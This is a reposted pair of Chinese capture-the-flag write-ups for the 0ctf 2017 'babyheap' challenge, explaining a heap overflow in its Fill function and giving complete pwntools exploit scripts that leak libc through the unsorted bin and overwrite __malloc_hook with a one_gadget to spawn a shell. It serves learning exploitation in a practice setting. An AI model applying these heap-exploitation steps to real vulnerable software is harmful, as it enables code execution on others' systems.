babyheap_0ctf_2017 详细解析BUUCTF

Posted Mokapeng

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了babyheap_0ctf_2017 详细解析BUUCTF相关的知识,希望对你有一定的参考价值。

目录


好家伙,保护全开,根据文件名,可以判断这是一道堆题目,刷了这么久,终于遇到堆题目了,解析就写的详细点。先看main函数,很简单就是各类个目录函数,一步一步来看把。

main函数

sub_B70()

先看main函数里的 v4 = sub_B70();,进入函数,有个mmp函数,整个函数就是获取一块空间

mmp函数:将硬盘上的一块区域映射为虚拟内存
void *mmap(void addr, size_t length, int prot, int flags, int fd, off_t offset); 创建共享内存映射
参数:
addr: 指定映射区的首地址。通常传NULL,表示让系统自动分配
​ length:共享内存映射区的大小。(<= 文件的实际大小,通常为文件大小)
​ prot: 共享内存映射区的读写属性。PROT_READ(读)、PROT_WRITE(写)、PROT_READ|PROT_WRITE(读写)
​ flags: 标注共享内存的共享属性。
​ MAP_SHARED(共享,会将映射区所做的操作反映到物理设备(磁盘)上。)
​ MAP_PRIVATE(私有,映射区所做的修改不会反映到物理设备。 )
​ fd: 用于创建共享内存映射区的那个文件的 文件描述符。
​ offset:默认0,表示映射文件全部。偏移位置。需是 4k 的整数倍。
返回值:
​ 成功:映射区的首地址。
​ 失败:MAP_FAILED (void
(-1)), errno

Allocate(v4);


该函数就是在申请一块size大小空间的内存,将内存信息写入,其结构图:

Fill(v4);存在漏洞!!


这里就出现一个问题,在Allocate中我们输入size申请一块size大小的堆空间。但Fill函数又让我们输入一边size,然后读size大小的数据到该区域指向的堆空间。这就很大问题了,若我们Fill是输入的size无限大,就完全可用把堆撑爆溢出,这就存在漏洞!!!

Free(v4);


比较简单,就是将该区使用位置0,并将申请空间释放,并且将指针指为0,即指针跟着释放

Dump(v4)


输出index索引的堆块内容,大小为size大小。

利用思路

这题由于free时,指针也会跟着置0,因此不存在UAF漏洞,则为Fill导致的栈溢出漏洞。
使用两次double free与fastbin attack。
可以通过unsorted bin的特性,若unsorted bin中只有一个chunk的时候,这个chunk的fd和bk指针存放的都是main_arena+88,通过main_arena我们就可以获取到libc的基地址。

获取libc的基址

libc的基址通过unsorted bin的特性获得,只要申请一块较大的chunk,并free掉,该chunk的fd和bk地址便可用来计算。因此我们要获得被free掉的chunk内容,而dump函数就算输出chunk内容。因此要使得两个指针指向同一个较大的chunk块,将其中一个指针chunk释放,另一个使用dump获取地址内存

先申请初始块

四个0x10、一个0x80
第0个块作用:方便修改第1、2块
第3个块作用:方便修改0x80的块

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4
free(1)
free(2)


两个free的chunk块均在fastbins中

填充2号位置,使其指向4号位置

通过fill溢出,使2号位置fd指针指向4号位置,并将4号位置的大小改成0x21,这样4号位置就好像被free掉了,并且加入fastbin链表中

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80) # 使2的chunk空闲块指向了4号块的位置,4号位为较大的chunk,用来获取目标地址
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload) # 让4号块的大小变成0x21,这样4号块就意义上被free了


可以看到fastbin中,二号位置已经指向了4号位置,并且4号位置大小被改为0x21

重新申请空间,将四号位置分配回来

在申请两块0x21大小的空间,注意,申请第一个时,index=1 为原来的2号chunk;申请第二个时,index=2,为原来的4号chunk;但我们最终想让4号chunk再次free掉,进入unsorted bin中,因此要将4号chunk大小改回0x91,这样也能让top chunk找到。

free(4)

这时候其实已经存在2个index指向一块chunk,一个是最开始申请的index=4,一个是后面再重新申请的index=2,
这时我们free(4),4号chunk 的fd和bk变成了main_arena+88地址,__malloc_hook = main_arena-0x10

free(4)    # 释放4号块
dump(2)
__malloc_hook = u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\0')) - 88 - 0x10
libc_base = __malloc_hook - libc.symbols["__malloc_hook"]
print(hex(libc_base))

切割四号块

将四号块切割,使得一部分块放入fastbin中,这样才便于利用

allo(0x60)
free(4) # 相当于做一个切割,将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
debug()

修改idx2内容,使其为malloc_hook附近构造chunk的地址

修改idx2内容,使其为malloc_hook附近构造chunk的地址,这块地址将来要创建一个虚假的chunk,要求是大小不能超过fastbin,并且包含malloc_hook,因为后面要将malloc_hook修改,使其指向其他函数,执行攻击。一般会将伪造的chunk的size为0x7f,正好在fastbin要求之内,也足够大,计算该地址为malloc_hook

计算可知要构造size位为:0x000000000000007f,其地址为malloc_hook-35:

payload = p64(__malloc_hook - 35)
fill(2,len(payload),payload)

申请假chunk,并将malloc_hook修改

allo(0x60)
allo(0x60) # 这个就会申请到假chunk

payload = b'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)

再次执行malloc

因为malloc_hook已经被修改到其他地址,我们再次执行malloc,则会执行我们的目标函数
one_gadget 找到目标函数:

payload = b'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)

allo(79)

完整代码:

from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
p=remote("node4.buuoj.cn",29227)
libc = ELF("libc-2.23.so")
def debug():
    attach(p)
    pause()
def allo(size):
	p.recvuntil("Command: ")
	p.sendline(str(1))
	p.recvuntil("Size: ")
	p.sendline(str(size))

def fill(idx,size,content):
	p.recvuntil("Command: ")
	p.sendline(str(2))
	p.recvuntil("Index: ")
	p.sendline(str(idx))
	p.recvuntil("Size: ")
	p.sendline(str(size))
	p.recvuntil("Content: ")
	p.sendline(content)

def free(idx):
	p.recvuntil("Command: ")
	p.sendline(str(3))
	p.recvuntil("Index: ")
	p.sendline(str(idx))

def dump(idx):
	p.recvuntil("Command: ")
	p.sendline(str(4))
	p.recvuntil("Index: ")
	p.sendline(str(idx))

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4
free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80) # 使2的chunk空闲块指向了4号块的位置,4号位为较大的chunk,用来获取目标地址
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload) # 让4号块的大小变成0x21,这样4号块就意义上被free了

allo(0x10)#1 The original position of 2 # 申请原本2号块
allo(0x10)#2 4 Simultaneous pointing	# 这里就会申请到4号块的位置

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload) # 将4号块的大小改回 0x91,不然找不到top chunk位置

allo(0x80) # 在申请一块大空间,避免4号块和top chunk合并

free(4)    # 释放4号块
dump(2)
__malloc_hook = u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\0')) - 88 - 0x10
libc_base = __malloc_hook - libc.symbols["__malloc_hook"]
log.info("__malloc_hook: "+ hex(__malloc_hook))
log.info("libc_base: "+ hex(libc_base))

allo(0x60)
free(4) # 相当于做一个切割,将0x80的块分成0x60在fastbin中,0x20在unsortedbin中


payload = p64(__malloc_hook - 35)
fill(2,len(payload),payload)


allo(0x60)
allo(0x60) # 这个就会申请到假chunk

payload = b'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)

allo(79)

p.interactive()

0ctf_2017_babyheap

0ctf_2017_babyheap

首先检查一下保护

技术图片

IDA 分析好的代码如下

技术图片

首先申请了一块内存地址用来存放结构体数组,地址随机。

技术图片

堆题常见的几个功能。我们来看看add

技术图片

这里申请内存用的是calloc

struct block{
    unsigned int inuse;
    unsigned int size;
    char * chunkptr;
}

技术图片

这里没有检查size,size可以为任意值。造成堆溢出。

技术图片

delete函数free后指针清零

技术图片

show 就是打印出chunk_ptr的内容。

好了,至此程序的大致执行流程我们已经搞清楚了。因为存在堆溢出,并且使用的是calloc,我们可以考虑chunk overlapping,这样我们只要吧chunk2给释放掉就可以通过show(chunk1)来打印出unsorted bin 的地址了。不过前提是chunk2要大于global_max_fast。

技术图片

exp

#coding:utf-8
from pwn import *
context.log_level = ‘debug‘
p = process(‘./0ctf_2017_babyheap‘)
libc = ELF(‘/lib/x86_64-linux-gnu/libc-2.23.so‘)

def add(size):
    p.sendlineafter(‘Command: ‘,‘1‘)
    p.sendlineafter(‘Size: ‘,str(size))

def edit(idx,content):
    p.sendlineafter(‘Command: ‘,‘2‘)
    p.sendlineafter(‘Index: ‘,str(idx))
    p.sendlineafter(‘Size: ‘,str(len(content)))
    p.sendlineafter(‘Content: ‘,content)

def delete(idx):
    p.sendlineafter(‘Command: ‘,‘3‘)
    p.sendlineafter(‘Index: ‘,str(idx))

def show(idx):
    p.sendlineafter(‘Command: ‘,‘4‘)
    p.sendlineafter(‘Index: ‘,str(idx))

#---------------这3个一组,是为了泄漏libc地址----------#
add(0x10)#0
add(0x10)#1
add(0x80)#2
#---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
add(0x30)#3
add(0x68)#4
add(0x10)#5

#------------------泄漏libc地址------------------------------------#
edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
delete(1)
add(0xa0)#1   delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91))  #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
delete(2)  #使的chunk2进入unsorted bin
show(1)     #泄漏chunk2的fd
libc_base = u64(p.recvuntil(‘x7f‘)[-6:].ljust(8,‘x00‘)) -0x3c4b78
print ‘libc_base: ‘+hex(libc_base)
malloc_hook =  libc_base + libc.symbols[‘__malloc_hook‘]

#-----------------fastbin attack-------------------------------------#
delete(4)#释放使其进入fastbin
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
add(0x68)#2    #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,‘x00‘*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget

add(0x10)
#gdb.attach(p)

p.interactive()

以上是关于babyheap_0ctf_2017 详细解析BUUCTF的主要内容,如果未能解决你的问题,请参考以下文章

0ctf_2017_babyheap

FastBinAttack实战babyheap_0ctf_2017

0ctf_2017_babyheap

babyheap_0ctf_2017 堆技巧 fastbin-attack

0ctf2017-babyheap

0ctf2017-babyheap调试记录fastbin-attack